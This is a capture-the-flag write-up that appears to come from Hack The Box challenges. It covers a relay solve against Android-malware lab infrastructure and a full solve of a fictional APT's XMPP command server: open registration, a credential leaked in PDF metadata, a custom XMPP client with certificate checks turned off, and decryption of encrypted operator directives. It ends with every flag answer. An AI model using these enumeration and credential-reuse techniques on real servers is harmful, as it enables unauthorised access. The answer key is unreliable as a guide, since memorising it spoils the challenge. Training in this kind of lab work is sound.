The :32179 response decodes (per e.c()'s marker g.e = 0x30) to a 4-byte connection id and an 8-byte value that u.b()/u.a() render as a dotted string — here 127.0.0.1, the loopback-styled relay target the infected device is told to connect out to. The fifth docker port, :31139, turned out to be that relay target — reachable by connecting there and writing just the 4-byte connection id, exactly as com.miyc.transfer.a.d's worker does. This only worked while the primary :32179 session was still open, so both legs had to run concurrently:
import socket, threading, time
def a4(i): return i.to_bytes(4, 'big')
uid = b"00005bp"
auth = bytes([51]) + a4(66) + a4(len(uid)) + uid
state = {}
def primary():
s = socket.create_connection(('154.57.164.82', 32179), 10); s.settimeout(45)
s.sendall(auth)
marker = s.recv(1)[0] # 48 = g.e
connid, _skip, ipbytes = s.recv(4), s.recv(4), s.recv(8)
state['connid'] = connid
time.sleep(1); s.close()
def relay():
while 'connid' not in state: time.sleep(0.05)
s = socket.create_connection(('154.57.164.82', 31139), 8); s.settimeout(15)
s.sendall(state['connid'])
print(s.recv(4096).decode())
s.close()
t1, t2 = threading.Thread(target=primary), threading.Thread(target=relay)
t1.start(); t2.start(); t1.join(); t2.join()
GET http://198.51.100.7/relay/enroll?relayId=00005bp&role=drone-control
&latitude=51.4997000&longitude=-0.1608000 HTTP/1.1
Flag 20: 51.4997000,-0.1608000 — the coordinates were embedded verbatim in the relayed HTTP request, not something to be geocoded from the story's flavor text (an OSINT guess at "Pavilion Road car park" was tried first and was wrong; the live network answer was correct).
Flag
See the Flags table above — 20 independent flags, no single combined flag for this Sherlock.
Whisper Chain
Summary
A live Prosody XMPP server (murknet.htb @ 10.129.1.8) is the C2/coordination hub of the "MurkNet" APT. The solve is: enumerate the server → self-register (in-band registration is open) → recover a member credential leaked in a PDF's metadata → read the private operation rooms and the command.murknet.htb PubSub dispatcher → recover the threat-intel blog from the Wayback Machine (its live domain is dead) → use the leaked decrypt_command.sh parameters to decrypt the operators' directives.
All 8 flags solved. The two things that unblock the "hard half" (flags 4/5/7):
- The story blog
security.billblog.co.ukis archived on web.archive.org even though
the domain no longer resolves.
- The directives are OpenSSL
Salted__blobs decrypted with **AES-256-CBC, PBKDF2,
-iter 120000, -md sha256 and two rotated keys**: BLACKFENLOTTE (old) for the first operation, SHALLOWBLUE (rotated) for the later one.
Environment & Access (read this first)
- Ports: 22, 443 (nginx, decoy site), 5222 (c2s STARTTLS), 5269 (s2s), 5281 (BOSH / httpfileshare).
- The box is FLAKY. ~50% of TLS handshakes time out or
RST. This is not a ban —
just retry the login a handful of times and one gets through. Do not mass-brute (that does trip a temporary block).
- TLS gotcha: wrap the STARTTLS socket with
server_hostname=None(no SNI) and
CERT_NONE, or the handshake resets.
- Auth: SASL
PLAINover STARTTLS. In-band registration is open, so you can register a
throwaway to read the public rooms before you have a real member credential.
.htbnames don't resolve — usecurl --resolve host:443:10.129.1.8(or/etc/hosts),
and keep SNI = murknet.htb (the only cert the box serves).
Reusable XMPP client used throughout (robust against the flaky TLS — one fresh connection per query, retried until it lands):
# xc.py — login + query one PubSub node, retrying through the flaky TLS
import socket, ssl, time, base64, uuid, sys, html
HOST, DOMAIN = '10.129.1.8', 'murknet.htb'
U, P = 'zytglogge88', 'TickTock24!' # member creds (see Flag 3)
def readuntil(s, marks, t=10.0):
if isinstance(marks, bytes): marks = [marks]
s.settimeout(t); buf = b''; t0 = time.time()
while time.time() - t0 < t:
try:
c = s.recv(32768)
if not c: break
buf += c
if any(m in buf for m in marks): break
except Exception: break
return buf
def fetch_node(node):
s = socket.socket(); s.settimeout(12); s.connect((HOST, 5222))
s.sendall(f"<?xml version='1.0'?><stream:stream xmlns='jabber:client' "
f"xmlns:stream='http://etherx.jabber.org/streams' to='{DOMAIN}' version='1.0'>".encode())
readuntil(s, b'</stream:features>')
s.sendall(b"<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>")
if b'proceed' not in readuntil(s, b'proceed'): s.close(); return None
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT); ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
ss = ctx.wrap_socket(s, server_hostname=None) # NO SNI
ss.sendall(f"<?xml version='1.0'?><stream:stream xmlns='jabber:client' "
f"xmlns:stream='http://etherx.jabber.org/streams' to='{DOMAIN}' version='1.0'>".encode())
readuntil(ss, b'</stream:features>')
tok = base64.b64encode(b'\x00' + U.encode() + b'\x00' + P.encode()).decode()
ss.sendall(f"<auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN'>{tok}</auth>".encode())
if b'success' not in readuntil(ss, b'>', 5.0): ss.close(); return None
res = 'r' + uuid.uuid4().hex[:6]
ss.sendall(f"<?xml version='1.0'?><stream:stream xmlns='jabber:client' "
f"xmlns:stream='http://etherx.jabber.org/streams' to='{DOMAIN}' version='1.0'>".encode())
readuntil(ss, b'</stream:features>')
ss.sendall(f"<iq type='set' id='b1'><bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'>"
f"<resource>{res}</resource></bind></iq>".encode())
readuntil(ss, b'</iq>', 6.0)
i = uuid.uuid4().hex[:6]
ss.sendall(f"<iq type='get' id='{i}' to='command.murknet.htb'>"
f"<pubsub xmlns='http://jabber.org/protocol/pubsub'><items node='{node}'/></pubsub></iq>".encode())
r = readuntil(ss, [b'</iq>'], 14.0).decode('utf8', 'replace')
ss.close(); return r
def robust(node, tries=30):
for _ in range(tries):
try:
r = fetch_node(node)
if r and ('urn:murknet:command' in r or '<error' in r): return r
except Exception: pass
time.sleep(2)
return None
if __name__ == '__main__':
print(html.unescape(robust(sys.argv[1])))
Flag 1 — TLS Subject Alternative Names
Primary hostname first, then remaining SANs alphabetically.
echo | openssl s_client -connect 10.129.1.8:443 -servername murknet.htb 2>/dev/null \
| openssl x509 -noout -ext subjectAltName
Answer: murknet.htb,command.murknet.htb,groups.murknet.htb,upload.murknet.htb
Flag 2 — Public channels
All public channels, alphabetical — use the display NAMES, not the JIDs.
Register a throwaway (in-band), then disco#items on the MUC service groups.murknet.htb, then disco#info each room to read its display name:
# JIDs: infra / random / resources / rules @ groups.murknet.htb
# Display names come from each room's disco#info <identity name=...>
Answer: Infrastructure,Random,Resources,Rules
Flag 3 — APT member credentials (email:password)
Credentials of one APT member.
Two links have to be joined:
- In the Infrastructure room,
rattlesnakepastes historical temp passwords
(KillBill2025! K4w4Bong424! Northwind225! TickTock24!); doctor orders everyone to rotate. swissclock replies "will do soon" — i.e. never rotates.
- In the Resources room (141 msgs — an incomplete MAM pull earlier made it look empty,
so always pull room history fully), swissclock shares Operational_Onboarding_Guide_v3.2.pdf on upload.murknet.htb. Its PDF metadata leaks the author:
exiftool Operational_Onboarding_Guide_v3.2.pdf | grep -iE 'author|creator'
# Creator: swissclock Author: zytglogge88@murknet.htb (Zytglogge = Bern clock tower)
swissclock = zytglogge88, never rotated the clock-themed temp password TickTock24!.
Answer: zytglogge88@murknet.htb:TickTock24! (verified working SASL login)
Flag 4 — Social-media account of an APT member
Format *****://************.***/********
The story references a blog http://security.billblog.co.uk/threat/BalanceRAT-analysis-and-attribution (posted by timothy in the op_sparkling room). The domain is dead and is not hosted on the box (:443 is a catch-all "echoes" decoy). It is archived on the Wayback Machine:
# Find the snapshot
curl -s "http://web.archive.org/cdx/search/cdx?url=security.billblog.co.uk*&output=text&limit=40"
# Fetch the article (id_ = raw, un-rewritten content)
curl -s "http://web.archive.org/web/20260805080606id_/http://security.billblog.co.uk/threat/BalanceRAT-analysis-and-attribution/" -o balancerat.html
The report ("Ghost Balance", Northbridge Threat Research) attributes BalanceRAT to the actor alias Porlock and, in "9. Final OSINT pivot," resolves them to a social profile:
@porlock — "Quiet machines keep better secrets."
Profile: https://stonedforums.htb/@porlock
Mask check: https(5) · stonedforums(12) · htb(3) · @porlock(8) — exact match.
Answer: https://stonedforums.htb/@porlock
The decryptor (unlocks Flags 5 & 7)
The command.murknet.htb PubSub nodes hold the operators' directives as base64 OpenSSL Salted__ blobs (urn:murknet:command). The blog's "More artifacts" section leaks the tool + parameters (decrypt_command.sh):
# AES-256-CBC, PBKDF2, 120000 iterations, SHA-256, base64 input
decrypt() { base64 -d | openssl enc -d -aes-256-cbc -pbkdf2 -iter 120000 -md sha256 -pass "pass:$1"; }
Two rotated keys are in play:
BLACKFENLOTTE— original key, used by the first operation (op_sparkling). Found
in the leaked script.
SHALLOWBLUE— the rotation, used byop_snatch. Given toswissclockby
rattlesnake in a DM ("We're rotating the key. The new key is SHALLOWBLUE"). It only works with the 120000-iteration parameters above — the missing iter count is why naive attempts fail.
Fetch the nodes with the client and pipe each <command-N> value through decrypt:
python3 xc.py op_sparkling # 8 items -> decrypt with BLACKFENLOTTE
python3 xc.py op_snatch # 10 items -> decrypt with SHALLOWBLUE
Flag 5 — XMR wallet used in the first operation
First operation = op_sparkling (BalanceRAT deployment).
Decrypting op_sparkling with BLACKFENLOTTE yields the full directive set, including:
Operation started
Evilginx server available at 185.203.11.109 - Use ONLY this server for phishing
BTC Addresses: 1BfQc4twbZrUSrtKdwW8TtSN6o1SUezWkX - 1BcanTJpHtyNnRvPFpuTqGwN1BcxuXKGpN - 1BHoNZGGAkpLaNmVHbYdnoyib8NgodSkRD
XMR Address: 429x3WVq1ucARGXx6NEwL4Sg4iowfW5ZWMAqEDErLxrWdg4ffkonB5tNxg85BKGjDqDQRfBERANhgf6DnGjjFyDR5L7uwye
...
Answer: 429x3WVq1ucARGXx6NEwL4Sg4iowfW5ZWMAqEDErLxrWdg4ffkonB5tNxg85BKGjDqDQRfBERANhgf6DnGjjFyDR5L7uwye
Flag 6 — Nickname of the affiliate who kidnapped Watson
From theop_snatchMUC room chat (join with history —maxstanzas— is more reliable than a MAM query here).
dynamite is the driver who physically abducts and transports Watson ("Fuel tank is full, plates replaced, interior cleaned", "remove the dashcam", "Delivery completed", "getting rid of anything that could connect me to today's drive"). spur is the guard who later panics and flees.
Answer: dynamite
Flag 7 — Where Watson was kidnapped
⚠️ Silvertown is where he was held, and gets rejected.
Decrypting op_snatch with SHALLOWBLUE gives the live abduction play-by-play:
Operation started
Watson just left his house and got into his car: a red Ford Fiesta with license plate WT609DXT
He just stopped at Pembridge Square
Watson got back in the car and turned onto Bayswater Road. Stay right on his heels!
He's about to enter Victoria Station. He must not reach the tracks. Act NOW <-- the grab
Heading toward Silvertown, here are the coordinates: 51°30'17.6 N, 0°02'05.1 E. <-- transport to hideout
Avoid Great Dover Street, it's full of police officers because of a demonstration.
Sector B. Row 6. Container number: 75JM77. Watchword: Chaos Is Order <-- holding cell
Take the car to the junkyard. The junkyard is in Walton-on-Thames. Ask for Richard.
Start cleanup process IMMEDIATELY
He is seized as he is about to enter Victoria Station ("He must not reach the tracks. Act NOW"); Silvertown is only where he is subsequently held.
Answer: Victoria Station
Flag 8 — Latest operation name + objective
From the op_dominance room briefing (doctor).
[SUBJECT] OpDominance - Do NOT Ask Stupid Questions - Do NOT Fail
"Our objective has a name" ... "DIOGENES" ... "access to DIOGENES changes everything"
Answer: Dominance,DIOGENES
All flags
| # | Question | Answer |
|---|---|---|
| 1 | TLS SANs | murknet.htb,command.murknet.htb,groups.murknet.htb,upload.murknet.htb |
| 2 | Public channels | Infrastructure,Random,Resources,Rules |
| 3 | Member creds | zytglogge88@murknet.htb:TickTock24! |
| 4 | Social-media URL | https://stonedforums.htb/@porlock |
| 5 | XMR wallet (first op) | 429x3WVq1ucARGXx6NEwL4Sg4iowfW5ZWMAqEDErLxrWdg4ffkonB5tNxg85BKGjDqDQRfBERANhgf6DnGjjFyDR5L7uwye |
| 6 | Kidnapper | dynamite |
| 7 | Kidnap location | Victoria Station |
| 8 | Latest op + objective | Dominance,DIOGENES |
Guidelines / lessons learned
- Pull MAM history completely. The first, incomplete pull made
Resourceslook empty
and hid the flag-3 PDF. Re-pull every room fully before concluding anything is empty.
- Metadata is a credential. The onboarding PDF's
Authorfield (zytglogge88) is the
whole of flag 3; the leaked temp passwords + "never rotated" gave the password.
- A dead domain is not a dead lead. When
security.billblog.co.ukdidn't resolve and
wasn't on the box, the Wayback Machine (web.archive.org/cdx/...) had the full article. Always check CT logs (crt.sh) and web archives for story URLs.
- Two keys, one KDF. Directives share the same OpenSSL recipe (`-pbkdf2 -iter 120000
-md sha256) but different passphrases per era — BLACKFENLOTTE (leaked in the blog's decrypt_command.sh) before the rotation, SHALLOWBLUE` (leaked in a DM) after it. Match the key to the operation's timeline.
- Work around flaky infra, don't fight it. One connection per query, no SNI on the TLS
wrap, retry 20–30× — reliable. Mass auth attempts trip a temporary block; slow down.
- Read the question precisely. Flag 7 distinguishes kidnapped (Victoria Station) from
held (Silvertown); the obvious PDF word is the wrong answer.
